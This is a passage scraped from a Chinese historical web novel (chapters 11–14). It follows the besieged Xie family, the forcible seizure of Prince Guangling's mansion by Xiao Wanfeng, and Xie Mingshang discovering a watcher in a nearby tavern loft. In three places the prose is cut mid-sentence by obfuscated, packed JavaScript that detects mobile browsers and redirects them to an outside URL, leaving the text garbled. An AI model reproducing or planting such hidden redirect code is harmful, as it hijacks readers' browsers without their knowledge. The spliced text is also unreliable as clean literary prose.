谢明裳指着第二封的八个草书大字:“认贪墨罪,退廿万银,说得倒轻巧。二十万两的军饷亏空,又不是两千两。谢家如何能筹得出这么多钱。” 说着便要把书信放回桌上。 谢琅又取走书信。 “再想想。筹备二十万两银虽不容易,总归是个脱罪的法子。” 谢明裳若有所思:“虽然困难,总归是条路。跟长公主写下的宗室子名单一个道理是吧。” 谢琅不否认:“贪墨军饷的罪名污臭不堪,军中大忌。沾染在身上,谢家从此出门再抬不起头。填补亏空只怕要倾尽家产。但后果再不堪,总好过牵扯进谋反大罪,抄家流放,满门离散。” 说着起身把两封书信交还给父亲桌案上。 谢枢密使原地坐着不动。 谢琅那几句话哪里说给妹妹听,分明说给他这个父亲听的。 这几天他也感觉到不对了。 禁军围住谢宅已经超过五日。朝廷有心论罪的话,十个谢家都已抄没了。 至今迟迟没有下一步动作,不定罪,不下旨,似乎在等候什么。 把谢家娇养的小娘子入册宫籍 “备用”,人又不带走。悬于头顶而不落下的刀,像极了某种隐晦威胁。 他与朝廷僵持,不肯认下贪腐军饷污名,亏空的二十万两银不知去处,便脱不开辽东王谋逆大案。 半生戎马,不肯自污,换来的是家族抄没,佳儿流放,妻女流落不知何处…… 谢枢密使的呼吸越来越粗重,衣袖抖成了风中的落叶。 谢琅眼看父亲状态不对,不敢言语催逼,急忙起身搀扶:“投书之人身份不明,但看来似友非敌。父亲再想想——” 谢枢密使突然伸手握拳,狠狠砸向桌案,黑漆木桌硬生生砸出一个裂缝。 他握着滴血的拳头,一言不发地起身离去。 书房里只有谢家兄妹两个互相坐看着,半晌谁也没说话。 不多时,门外却又传来敲门声,“常将军命卑职送来消息。” 传话汉子匆匆进门:“事关河间王。前几日河间王来了一趟,远远驻马打量,常将军当时没留意,只当贵人路过;今早河间王却又来了一趟长淮巷,停留打量的时间颇久。” “常将军入宫打探回的消息说,宫里打算给河间王赐王府。兴许河间王看中了谢家的宅子……只等抄家,充作河间王府。” “谢帅最近时刻留意,多静少动,切莫授人以柄,留下任何获罪的借口啊。” 汉子退出去后,书房里又陷入静默。 兄妹两个无言对视。 “河间王……看中谢氏宅子了?” 谢琅苦笑:“他如今风头正盛,被这位殿下看中了宅子,只怕我们谢氏无罪也保不住。” 谢明裳的心火腾腾地冒。人在自家里,说话万分不客气。 “我还当他是个人物。落井下石的狗东西,难怪父亲和他有过节。谢家还没抄家呢!” * 日头渐渐落山。暮春的风里带出几分燥热气息。 京城的暮春燥热和关外的燥热大不相同,风里带着温软花香,不像关外漫天的黄沙石,张嘴便是沙土。 萧挽风在京城并无王府,入京后暂住在河朔驿馆。 几名亲兵忙忙碌碌,把新鲜采摘的梨花枝插去窗下细口梅瓶,随风簌簌地落下几片雪白花瓣。 今日驿馆中有客至。 客人未到近前,笑声先远远地到了。 “五弟!你这落脚处可寒酸得很。等你的王府正式赐下了,做兄长的必当给你准备重礼,好好布置一下厅堂。” 萧挽风站在窗前,注视着来人走近。 这位锦衣华服、看似爽朗热络的族兄,正是广陵王萧措。 广陵王萧措今日受邀而来,一无丝竹管弦,二无张灯结彩,此地主人连个笑容都没有。萧措心里嘀咕,表面上笑得更加热络,亲亲热热抬手要搭肩膀: “兄弟两个多少年未见了?上回在京城见你,似乎还是你父亲带你入京觐见先帝的时候?那时你个头还没蹿高——” 萧挽风站在窗前不动,亲兵卫长顾家兄弟在面前一左一右挡住萧措的手。 身穿青色襕袍的幕僚走上一步,引萧措往花厅里走。 “广陵王,这边请上座。” 萧措端详着自己落在半空的手。 “不愧是领兵的主帅,气势十足啊。自家兄弟都亲近不得。”悻悻然撩袍坐去椅里。 萧挽风依旧站在原处,并无迎客的意思,只转过半边肩膀,斜倚木窗望进厅堂。 雕花窗棂的影子映在他脸上,脸颊半边明暗,眼睛在暗处闪亮。 萧措心里咯噔一下,想起了相熟的宗室子弟悄悄传递的流言。 这位是放出笼子的猛兽。 山野外咬残了猎物,圣上想把猛兽收回笼子里。 年轻幕僚姓严,是今日的陪客,坐在下首位,和贵客你来我往地寒暄几句。 等气氛松快几分,萧挽风在主位居中坐下,好歹摆出会客的姿态。 广陵王的目光隐晦闪烁,“听闻五弟这次被圣上召回京城,为了养病?五弟今年才二十三吧。英华盛年,究竟何等伤情,非得抛下军务养伤。身子如何?可还能回边城领兵?” 说到最后一句,又自来熟要上来勾肩搭背。 萧挽风抬手挡住。 右手的拇指食指按住广陵王的虎口,仿佛一把钳子发力,牢牢地钉在桌面上。 广陵王疼得脸色都变了,勉强笑说:“自家兄弟,这是做什么。” “劳兄关心。”萧挽风缓缓地松开手,带几分嘲弄注视着广陵王闪电般往后缩。 “旧伤伤及筋骨,短期并无异样,可以跑马开弓,但会落下长久病根,圣上召令回京医治。如此回复可满意了?” 广陵王握住疼得发颤的虎口,咬着牙笑:“还好短期无恙。京城无需征战开弓,只要还能跑马,能喝酒,能写字,能搂美人腰。在京城做个富贵闲王,有这四样足够了哈哈哈哈……” 萧挽风没有笑。 他下帖子把广陵王约来,却又不寒暄。 他原本生得就不亲和,又比寻常人高出半个头,看人都是俯视。此刻没什么表情地坐在对面,眸光半阖,有一搭没一搭地把玩着一枚精铁扳指。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478250|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黝黑扳指在他修长手指间翻滚出残影,厅堂只有细小的叮叮当当声响,反倒比开口说话时更多出强烈的压迫感。 广陵王的笑容很快绷不住,挥了挥手。 广陵王府长随送上一只沉甸甸的长木匣。萧措当着此地主人的面打开木匣,整整齐齐摞了整箱的金铤。 “黄金八百两。” 萧措笑容满面,把木匣往前推了推,“这是为兄对五弟的一点心意,不必客气。” 萧挽风把沉甸甸的木匣子推回去。 “今日邀约相见,岂为钱财俗物?说起来,确实有件小事劳烦。” 萧措打着哈哈,不等说出口便推脱:“五弟,接到你的帖子我就来了。但为兄我呢,在京城里不争气,朝堂上的大事管不着。若论各处好吃的好玩的,哪处花楼的姐儿生得美,哪家小倌儿骚浪,这些只管问我,我带你四处逛去。” 萧挽风半阖的眸光抬起,盯他一眼。那眼神尖锐,仿佛扎破了皮肤。 萧措不自在地细微挪动一下,心里嘀咕,天子圣明。冲着这双不安分的眼睛,就该关进笼子里。 只不过锦绣繁华、十丈软红的京城哪能算笼子呢,野兽当然要关在野地里。挪个地方关才好。 心里起了恶念,脸上却越发地笑意盈然。宗室儿郎都天生好皮囊,广陵王也不例外,笑着打圆场: “怪我话急。五弟先说说看,能帮到的我尽力而为。但丑话说在前头,京城这处一山更比一山高。最近长公主看我不顺眼,拦了我不少好事。为兄有心无力啊哈哈哈哈。” “我所求这桩事,于兄来说,举手之劳而已。”萧挽风不再看他,起身又走去窗前。 燥热春风里隐约传来远处的操练呼喝声。 “驿馆太小,入京的两百亲兵挪腾不开。圣上允诺赐下王府,某这几日在京城走马观花,最合心意的宅邸位置,不巧已经有人住了。” 萧措恍然,哈哈地笑起来,“我知道了。五弟看中的那处好位置,可是城西长淮巷,枢密使谢崇山的宅子?稍安勿躁,谢家案子未定论,那处还需再等等——” “谢宅太小,不够跑马。 ” 萧挽风打断他。 “某看中的是城北榆林街,广陵王府。” 萧措脸上的笑容消失了个干净。 “……什么?” 萧挽风道:“还请兄长挪一挪住处。” 萧措震惊地坐在原处。 呆滞片刻,啪地砸了果盘碟子,起身指着鼻子怒喝:“萧挽风,你什么意思!” 萧挽风转身过来,直对这位勃然大怒的族兄。 萧措的腰间挂着一把名贵佩剑,镶金嵌玉,装饰出几分盛气凌人的贵气。只可惜大怒时未想起拔剑,却拿手指着他。 萧挽风走回几步,直接便抽出了佩剑,随手挽了个剑花。剑身泓光如泉水。 “好兵器。可惜了。” 他握着萧措的右手掌,轻轻一下便割开了手掌皮肉。鲜血喷涌如箭。在突如其来的一片死寂里,满意地道:“宝剑沾血,从此才算开了锋。” 滴滴答答的流血声如小溪,萧措捂着几乎割断的右手跌坐回去。 痛饮了主人之血的佩剑被推回剑鞘,挂回金玉腰带上,萧挽风随意抹去手上血迹: “给兄长半天,回去把王府收拾干净。傍晚我去时,要看到一个清静宅子。” 萧措跌跌撞撞地奔出了门。 幕僚专心地烹茶。直到贵客走了,一壶茶才烹好,正好全奉给主上。 “殿下的恶名要传遍京城了。” 年轻幕僚姓严名陆卿,在满室茶香里,斯斯文文地笑说: “如今的局面,殿下在京城的名声还是恶些好。各方对殿下的忌惮越多,宫里那位对殿下的忌惮反倒少些。” 萧挽风扯了下唇。 严陆卿又道:“京城里的眼睛太多,流言传得太快了。殿下四处转了转,便传出了看中谢家宅子的流言,实在离奇。今日强夺了广陵王府,明日又不知会传出什么离奇的流言。” 萧挽风抬手拨了下窗前的雪白梨花枝,平静道:“让他们传。” “教他们明白,以势强夺者,人恒夺之。” 12.第 12 章 相比于谢家风雨飘摇的前程来说,谢家一座宅子的归属,又算多大的事呢。 书房的灯整夜亮着。 谢家之主谢崇山年纪大了,执掌边军多年,脾气刚硬固执,不肯窝囊低头认贪腐污罪,一天天和朝廷僵持着。 朝廷旨意始终不下。 谢家人的心,一天天地悬在喉咙口。 不止主院的灯整夜亮着,就连东跨院的二房一家人,乃至兰夏、鹿鸣,夜里睡着睡着都会突然惊醒过来。 生怕沉睡片刻,便漏过什么了不得的消息。 只有谢明裳,自从出门寻杜家的那夜看清了形势,回来后该吃吃,该睡睡。 但她身上风寒咳嗽的症状断断续续始终不见好。千金虎骨治成的昂贵药酒,每日早晚节省着喝,家里存量还是见了底。 门外把守的常将军睁只眼闭只眼,放兰夏从西南角门出,抱着一包银子寻相熟的郎中配药。 兰夏后半夜眼睛红红地回来。她敲开相熟的药铺门,药铺郎中怕事,死活不肯再配给谢家,给钱也不肯要。 这天掌灯时分,谢明裳在母亲的主院用饭食。 大房一家围坐用饭。当家之主谢崇山不在屋里,谢夫人吩咐捡几道饭菜送去书房。 老夫妻多年不合,相见不如不见,就连谢琅也没劝说什么。 谢夫人吃喝完毕,放下筷子,开口说:“二房那边昨日又去求你们父亲,想把瑄哥儿送出去。” 谢琅皱眉,“风险不小。父亲应下了么?” 谢夫人哼道:“他们谢家兄弟自己商量的事,我管不着。阿琅,你也是谢家人,去替我问一句你父亲,能送出去一个,不能送第二个?” 谢琅看了眼身侧的谢明裳,起身应下:“儿子会问父亲。” 谢明裳吃得慢,咽下羹汤才开口问:“娘说得第二个,该不会是我吧?娘一世英名,别犯糊涂。” 谢夫人道:“我不犯糊涂,我只问句凭什么。二房的瑄哥儿可以,你不行?阿琅,替我带话给你爹,要走两个一起走,不然谁都别想走!” 谢夫人发脾气的时候谁也劝不住。 等母亲一通脾气发完,谢明裳最后说:“上次遇到二叔,我当面和他讲过不妥当。把人送出去不是完事,是刚开始。瑄哥儿年纪小又养得娇惯,躲藏中出了纰漏,反倒牵连帮扶的人。二房非要送一个走,不如送五娘出去和嫂嫂一处。阿兄,劝劝父亲。” 谢明裳说完,正小口抿着药酒,谢琅伸手过来,晃了晃装药酒的葫芦,空了。 谢琅和谢夫人道,“儿子今晚出去一趟。若事顺利的话,再去趟药铺,给小妹带些药酒回来。回来后和父亲商量瑄哥儿的事。” 谁也没问谢琅今晚出去何事。 但杜家去年底送来谢家的三十二抬迎亲礼被收拾清点,整整齐齐地摆在院子里。 每个人心如明镜般。谢琅今晚打算去杜家退亲。 谢明裳拦阻:“阿兄最近别出去。没听常将军说么?谢家门外的眼线多了几倍,等着拿我们的错处。等谢家数罪并罚,再一股脑儿抄了我们家,把宅子赐给河间王作王府。” 她心里不怎么痛快,柔软漂亮的唇线往下扯: “阿兄和爹爹都在闭门戴罪的期间,出门容易落下把柄。杜二在我心里已经不是人了,随便找个猫猫狗狗替阿兄走一趟都行。我喜欢这处宅子,不想送了河间王。” 这些道理谢琅心里早已绕过几圈。 对于宫里迟迟不下的圣意,他心里隐约有些猜测,却不敢说出口。 他最后只说:“圣心难测。朝廷事说不准。退婚之事却是宜早不宜迟,我亲自盯着稳妥。” 依旧拿了药酒葫芦,命人清点迎亲礼,只等入夜后抬出门去。 内庭院各处的廊子灯笼点亮,将庭院中央的三十二抬红漆木箱映照得清晰,耿老虎带着十来个护院准备抬箱笼。 谢明裳披着银鼠皮披风站在打开的木箱前。 迎面摆一座雕工精细的象牙制妆奁盒,盒面雕刻着精美的龙凤呈祥图案,四角嵌螺钿,细腻象牙在灯下闪耀着润泽荧光。 她打开象牙盒盖,熟练地拨开机关,弹出上下双层妆奁匣。 匣子里整齐摆放着八样精巧珠钗。 杜家百年清贵书香门第,清贵的另一层意思是不怎么有钱。 这件象牙妆奁盒是杜家迎亲给的最贵的一件礼。 谢明裳抚摸象牙盒子片刻,啪地又关上,扔回箱笼中。 吩咐众护院:“箱笼抬回库房。今晚不出门。” 众护院一怔,齐齐看向大郎君谢琅。 谢琅吩咐道:“准备箱笼,入夜后出门。” 谢明裳点点头:“也行,箱笼入夜后出门。阿兄不出门,我带着箱笼去杜家。” 谢琅沉声道:“胡闹,哪有小娘子自己登门退婚的道理。你今晚留在家里,母亲看着你。退婚的事交给我。” “母亲领着我去。阿兄在家里待着。” 兄妹两站在庭院众多箱笼当中,正你一句我一句地互相说服对方时,耿老虎不知留意到什么,忽地抬手指向西北方向,惊道: “有人窥伺!” 谢明裳本能地一扭头,往西北望去。 庭院往西北方向的两百步外,有一处京城新建不久的酒楼,叫做“风华楼”。 楼高三层,斗拱飞檐,张灯结彩的廊台楼子并不对着谢家宅院,只有转角旮旯处的几扇后窗朝着谢家方向。 此刻,面向谢家方向的转角处罕见地亮了灯。 之前从未见这处亮灯。居然不是楼梯暗处,居然也修了一间阁子。 后窗打开,纱帘半掩。 帘后影影绰绰站了几个人影。 耿老虎和几个护院疾步挡在主家面前:“有人窥伺谢宅。大郎君,六娘子,你们先回屋。” 谢明裳被谢琅拉着往屋里疾走几步,忽地停步回头,眼睛里带深思,迅速估了下酒楼距离谢家的位置。 约莫两百步出头距离。居高往下开弓,硬弓的射程更远。 之前谢家收到的两封羽箭传书,会不会是从阁子射来的箭? 她极目眺望远处酒楼显露的几个人影。 隔一层纱帘,只看出站在帘后的有三个男子身影,看不出其他。 下一刻,酒楼阁子里的灯光忽地黯淡下去,里面有人放下纱帘,几扇窗户关拢。后面的再看不清了。 —— 萧挽风走出三楼转角旮旯处的偏僻阁子,沿着木长廊往前。 城西这家 “风华楼”兴建得华丽敞阔,布置吃用无不精致。新开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493243|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张不久,贵在清静,是京城众多纨绔呼朋引伴吃喝的一处新乐地。 风华楼今日被清了场,楼上几十间阁子都安静无人,处处有禁卫严密把守。只三楼中央一间灯火通明的雅致大阁子传出热闹声响。 幕僚严陆卿在身侧,边走边回禀: “谢家人留意到这间阁子了。我们如何应对,要不要退了阁子?” 萧挽风道:“不必。阁子继续包着。” 严陆卿又问:“谢帅至今未上认罪书。可要飞羽传进第三封信,再催一催?” 萧挽风:“谢崇山那犟驴性子,催也无用。” “那……这么干耗着,等谢帅自己想通了?圣上若决心查办谢家,一道圣旨颁下,想要转圜就难了。” “辽东王的叛乱未平,圣上还想用谢家。再等等。” 下方大堂传来清亮琵琶之声,两人同时停步,做出驻足下望的观赏姿态。 琵琶声响亮,足以遮盖住对话嗓音。两人在琵琶乐声里继续交谈。 严陆卿笑说:“先把谢帅寻个罪名打压,又把殿下急召入京。宫里那位莫非想坐看两虎相斗?选个可靠的领兵平叛,把不可靠的那个扔去旁边。” 萧挽风一哂:“两虎相斗?捧太高了。宫里只想要条好用的狗。” 严陆卿哎呀一声,摇了摇羽扇: “殿下这句,却又说得太难听了。” “实话。”萧挽风神色不动地扶栏下望。 “京城容不下虎,只容得下狗。” 前方木廊传来脚步声。 头戴高冠、身穿华贵蜀锦袍的中年儒雅男子笑着迎来:“挽风,四处走了走,可醒酒了?” 萧挽风一颔首:“去旁边阁子歇坐片刻,好些了。姑父不必客气。” 他虽然口里称姑父,态度却不怎么客气,肩膀只转过来一半,姿态散漫地侧倚着围栏。 被称作姑父的中年男子反倒摆出恭谨垂目姿态,前方亲自引路。 “挽风难得回京,本该在长公主府好好置办一场接风洗尘的家宴。但长公主殿下喜静,多年未在府中办宴了。” “今日奉长公主殿下的吩咐设宴接风洗尘,定要吃喝得尽兴。” 前头引路的儒雅男子,正是本朝长公主的驸马。 当年也是武将出身,不过自从尚了长公主,便再没有领过兵。 如今人有些发福,俨然一副翩翩雅士姿态,婉转低眉说话时,再看不出当年横刀跃马的英气了。 “长公主发话说不必请广陵王。但我思来想去,还是自作主张下了帖子,哈哈,莫怪莫怪。大家都是自家萧氏宗亲,纵有什么大小事,席间敬酒几杯,把事当面摊开说也就过去了。” 前头引路的长公主驸马带笑边说边掀开帘子。 阁子里声浪如沸,酒香混杂着暖香扑鼻而来。 今日长公主设宴,驸马出面邀请各方,应约而来的都是年轻一代的萧姓宗室儿郎。 众多沾亲带故的贵胄子弟纷纷起身相迎。 广陵王萧措受伤的手掌厚厚包裹纱布,神色讥诮,坐在座椅上不动。 萧挽风唇边带嘲弄,视若无睹往阁子里走,嘴里道: “有劳姑父费心斡旋。” “不过今日接风酒宴,诸事不宜,只宜喝酒。” 13.第 13 章 谢家被人窥探,忙乱一场,酒楼阁子高处早没了人。 谢明裳被兄长亲卫护送着,回到自己住处。 “从未见那处旮旯角落亮灯。原以为是处死角空地,没料到也修了阁子。” 鹿鸣忧心忡忡:“酒楼人来人往的,以后有客人包那处阁子,岂不是可以俯视谢家内院?” 谢琅思忖着道:“两百余步距离。阁子高处往下望,看见庭院摆放的三十二抬箱笼,有心人能猜出我们今夜的打算。” “所以阿兄不能出去。”谢明裳坐在桌边,取一只羊毫笔,在白纸上涂涂画画。 “有人窥伺谢家行踪。是敌是友还看不分明。阿兄今夜出去,怕被人抓个正着。” 谢琅道:“退亲事宜早不宜迟。迟则生变。” “至少先把箱笼收了,不要明晃晃摆在院子里,叫人一眼看穿。”谢明裳边画边道。 安静下去的屋里,传来落笔的沙沙声。 谢琅诧异起来,走近细看桌上铺陈的画纸。 谢明裳的画法也不知从何处学来的,和京城流行的写意画法大不同,极度拟真。 寥寥几笔,勾勒出三个身形。 三幅画像都没有脸孔。 其中两个体型健硕而腿修长,看着像武人身材;一个穿直缀袍子的像文人。 谢明裳指着线条说:“阁子里站了三个男子,身影透上纱帘。当中这个长袍戴冠的是主人。旁边那个多半是护卫。穿直缀拿羽扇的这个像幕僚。” 谢琅侧身细看。 “占据阁子,窥伺谢家动静。对方意图如何,眼下还说不清……以静制动,再等等。” “确实。”谢明裳放下笔墨洗手,“看看有没有第三封羽箭传书,是不是从那处阁子里射来的。” 谢琅卷起画纸拢入袖中:“画纸我带去和父亲商量。天色不早,看你困倦,赶紧歇着。” 谢明裳确实困倦了。 兄长走后,吹熄屋里几盏大灯,只在床头的月牙墩子留一盏小灯。 她之前那场风寒还未痊愈,时常感觉疲倦,靠在床头洗漱的功夫,人几乎已经昏睡过去。 内室的交谈声让她骤然惊醒。 鹿鸣的声线很低,正在拦阻深夜访客:“实在太晚了,我们娘子已睡下。五娘子有事明早再来?” 耳边传来一声微弱的抽泣:“我却等不得明日了。” 谢明裳彻底清醒过来,拉开帐子:“五姐姐,有事找我?” 内室里坐着的,正是谢家五娘玉翘。 几日不见,人看着精神不大好,灯下显得消瘦苍白。 “这几日不大安稳,我来坐坐便走。”她略不安地坐去床边,“你也知道的,我娘她……” 二婶婶的脾性,谢明裳自然知道的。她同情地拍了拍谢玉翘的手。 谢玉翘却仿佛溺水之人抓着了水流中的树枝,用力攥住,哽咽一声,泪珠滚滚而下。“明珠儿,我简直活不下去了。” 谢玉翘挽起袖子,展示手肘处几处青紫淤青。 “……家里不好,瑄哥儿整日啼哭,母亲心思烦乱,看见我便叱骂。父亲有时也骂。仆妇跑了许多,院子里洒扫的人不够,许多事要我亲自做。我何时做过粗重活计!洒扫才慢了几步,母亲便抄起木杵,当着剩余仆妇的面,劈头盖脸地打……我简直死了算了!” 谢明裳轻轻地摸了摸几处淤青,吩咐找跌打伤药来。 “家里不好,大人担不了事,在女儿身上撒气算什么本领。五姐姐,你索性在我这处过几日。” 她握着阿姐的手,撩开帐子,望床里挪了挪。 但谢玉翘今夜鼓足勇气偷跑过来,哪为了住几日躲避责骂呢。 她含泪说:“谢家还不知要围多久。在家里被母亲整日整夜的骂,我迟早一个死。但你我都录下宫籍备用,我又怕死在家里惹祸。早晨听父亲和母亲说起,家族事和出嫁女不相干……” 其实二房夫妻是在谈论谢明裳和杜家婚事不成的事,被谢玉翘听去了三言两语。 “我听说,广陵王妃遣人送信,有意接你入王府?广陵王妃不正是杜家二郎的长姐?可见杜家虽然婚事不成,但对谢家的情谊还在……” 谢明裳听到半途,握着谢玉翘的手便松开了。 她冷淡地往床头一靠:“杜家对谢家的情谊还在,所以说动了广陵王,接我入王府做妾,救我于水火之中。阿姐如此想?” 谢玉翘窘迫地捏着帕子:“我听说了。允的是王府孺人的位子,虽说有封号,毕竟不是正头娘子,惹得大伯娘不喜,把王府送信的人驱赶出去了……但谢家如今的形势,你我也知道的……挑剔不得许多。” 几句对话间,鹿鸣寻来膏药,替谢玉翘涂抹手臂淤青。 谢明裳感觉疲惫,门未关好,夜风吹到身上又冷,拢着被子闭眼道:“五姐大半夜的来寻我,拐弯抹角的到底什么事。我身上病气未退,乏得很。有话直说。” 谢玉翘迟疑不肯说。 等鹿鸣涂抹好膏药退下后,才吞吞吐吐道: “你我虽是一家姐妹,但我也知道,我家阿父就是个田舍翁,万万比不上大伯父厉害。母亲更比不上大伯母。我自然万万比不上六妹妹矜贵。妹妹不肯要的,我、我不嫌弃。” 谢明裳倏然睁开眼,直视过去:“你想嫁入广陵王府,做他后院妾室?” 她说得不客气,谢玉翘羞耻得满脸通红。喉咙间哽一声,泪珠子又落下来。 “哪家女儿不想风风光光地出嫁,做人正妻,相夫教子,举案齐眉?” 她哽咽道,“但我都十九了!高不成低不就,家里惹得爷娘嫌弃,我还有什么指望!明珠儿,像你这般处处都好,杜家竟也不敢迎娶你,可见谢家的险恶局面。不论嫁鸡嫁狗,先嫁出去,人好歹囫囵保全了,不必落到入宫任人磋磨的地步……” 谢明裳闭着眼。 她昏昏欲睡的中途被唤醒听了一通说辞,上涌的困意混杂着起伏情绪,太阳穴嗡嗡地响。 “谢家落难,五姐姐想做广陵王的妾室,囫囵保全自身。但五姐姐可知道,广陵王此人无耻,入他的后院做妾,日子不好过,你不见得能保全自身。” 谢玉翘咬着唇,过来前心里已盘算了几轮。 “王妃是杜家女,听说性情温婉,应不会太过苛待下头的人。虽说是妾室……王府的孺人,和普通人家不同 ……有封号的。” 谢明裳气笑了。 “现在盘算这些,当初为什么不随嫂嫂出去,人早出京了。” 她揉着发烫的太阳穴说:“二叔来求了父亲几次,想把瑄哥儿送出京城。要我说,二房不如把你送出去,少个二房的小娘子不见得引人注目。你看大嫂走了,也不见禁军追捕——” 还未说完,谢玉翘已连连摇头。 “不成的。瑄哥儿不送出去,我哪能先走。” 谢明裳靠在床头,静静地注视着神色惊慌的五姐。 纱帐垂落,帐子里只有亲近却又陌生的谢家姐妹两个。 她其实从没有真正了解过这位五堂姐,正如五姐也并不真正了解她。 “为什么不成?” “明珠儿,我知道你对我好。但家里有瑄哥儿在,我如何也越不过他去。如果我出去了,倒把瑄哥儿留在家里……爷娘会一辈子恨我入骨。” 说着说着,谢玉翘的态度也坚决起来:“让大伯父想法子送瑄哥儿出去罢。二房只有瑄哥儿一个男丁,女儿家有女儿家的出路。我今晚过来,只求你帮忙写封信给广陵王妃,和她提一提我——” 还要再说时,谢明裳抬手阻止,“夜里冲动,你回去冷静想想。” 随即拉开帐子喊,“送五娘出去。” 兰夏和鹿鸣两个进来内室。谢玉翘脸色苍白地起身,举步欲走,倏地回头抓住谢明裳的手: “我今夜来得唐突。无论允不允,莫告诉家里人,算我求你!” 谢明裳隔着纱帐道:“我知道五姐的心意了。但事关终身,你自己想好了。” 谢玉翘低声道:“来之前便早想好了。”快步出门,身影很快消失在夜色里。 兰夏送完人关门回返,嘀咕着:“五娘子三更半夜地过来诉苦,还以为要歇下,厢房才备好,怎么说几句话又回去了。” 谢明裳摇摇头。 五娘谢玉翘,虽说年纪比她大几个月,但性子绵软,又自卑于乡郡出身的口音谈吐,平日不怎么出门交游,见识的人太少,想法明显钻了牛角尖。 玉翘走后,鹿鸣催促 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503413|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧睡下。谢明裳过了平日入睡的时辰,反倒睡不着了。 抱着被子,单手支颐,想了好久。 不知不觉时,夜色深了。 鹿鸣剪完灯花,担忧地摸了摸谢明裳的额头:“娘子,出汗了。我看今晚先歇下,有事明早起身再说。” 谢明裳抱着被子:“有点冷。取个披风来。” 她捂嘴低低咳嗽几声:“广陵王这厮喜爱玩弄良家女,在京城一堆贱人里格外地下贱。五姐还上赶着往他后院里凑。……她到底胆小还是胆大?” 越想越睡不着,又想起被人从高处窥探谢家的酒楼阁子。谢明裳在床里翻覆几次,倏然坐起身来,倒把鹿鸣吓得一跳。 “不睡了。出去走走。” 她起身披衣,叫上兰夏鹿鸣,三人提灯去前院。 大半夜的,耿老虎也没睡。带着三两个护院,面色冷肃地抱胸站在庭院当中,直勾勾盯着远处阁子敞开的后窗。 两扇后窗虽敞开着,阁子里头无人,黑漆漆的,夜风吹动纱帘,偶尔晃动几下。 “自从傍晚亮了半刻钟的灯,之后三人熄灯出阁子,再无人出入。”耿老虎回禀说。 谢明裳仰头注视着后窗,“会不会凑巧?平日酒楼生意不好,这处边角阁子无人问津。今晚生意兴旺,连角落朝向的阁子也被客人包下,酒客随意开窗下望,望见了我家庭院。” 耿老虎一愣:“也有可能……” “耿叔从傍晚盯守到现在?”谢明裳留意到耿老虎熬出血丝的眼睛,出声赶人: “人不年轻了,少熬大夜。四十大几的人了,还当自己二十岁呢?耿叔赶紧回去歇着,叫年轻的几个守夜。” 护院们善意地哄笑起来。 耿老虎哭笑不得,嘴里咕哝着 “四十岁怎么了,老子当年……”嘀嘀咕咕地被推搡着走了。 果然剩下两个年轻护院,退避到廊下值守。 谢明裳提着灯笼站在原地,眸子里带深思,继续仰头打量两百步外的黑黢黢的阁子。 凑巧,还是刻意? 往下窥探谢家庭院之人,究竟是偶尔路过的酒客,还是暗藏不可言说的心思? 其实只需多查看几日便有结果。 只可惜谢家现今最缺的,便是时间。 …… “娘子!” 兰夏忽地惊呼一声,抬手就要指阁子,“那阁子有——” 鹿鸣反应极快地把兰夏刚抬起的手臂按下。 “不要打草惊蛇。” 谢明裳从沉思里惊醒,仰头盯着远处的黑暗阁子。 夜风时不时地吹动竹帘,偶尔卷起半截,露出窗边影影绰绰的薄纱。 有人影站在暗处。 借着黑暗遮掩,纹丝不动地倚在窗边下望。纱帘被夜风吹动,偶尔撞在那人身上,半途改变了方向,这才显出轮廓行迹。 “娘子,快走。”兰夏侧身背对着阁子方向,小声劝说: “我们在明处,他们在暗处。我们瞧不见阁子里的人,他却不知盯娘子多久了。呸,登徒子无耻。” 确实一个在明,一个在暗。 谢明裳手里还提着盏灯笼,暖黄灯光映亮了周围半尺地面,姣美的面容朦朦胧胧地映在夜色里。 谢明裳提着灯笼慢腾腾地往靠近院墙的草地走。 走出十来步,人站在院墙下,忽地抬手把灯笼戳到兰夏面前,“吹熄了。” “啊?” 噗~ 灯笼熄灭了。 谢明裳站着的地方瞬间陷入黑暗。 黑魆魆的阁子后窗边,影影绰绰的侧影忽地动了下。一只修长的手探出窗棂。 长久凝视的目标忽然在眼前消失时,人本能地会寻找追踪。 院墙阴影笼罩下来,谢明裳站在大片黑暗里,仰着头,漂亮的潋滟眸子微眯起。 仿佛追猎的猎户寻获了野兽栖身洞穴,紧盯住窗边探出的男子手背,瞬间暴露在浅淡月光下的半截腰身。 暗色广袖锦袍。金镶玉蹀躞带。筋骨分明的成年男子的手。大拇指处套一只扳指。 好一把结实悍腰。 下一刻,阁子里的人往后退半步。 窗棂边探出的手连同半截腰身轮廓消失在月色下。 14.第 14 章 谢明裳这天晚上折腾地着实不轻。 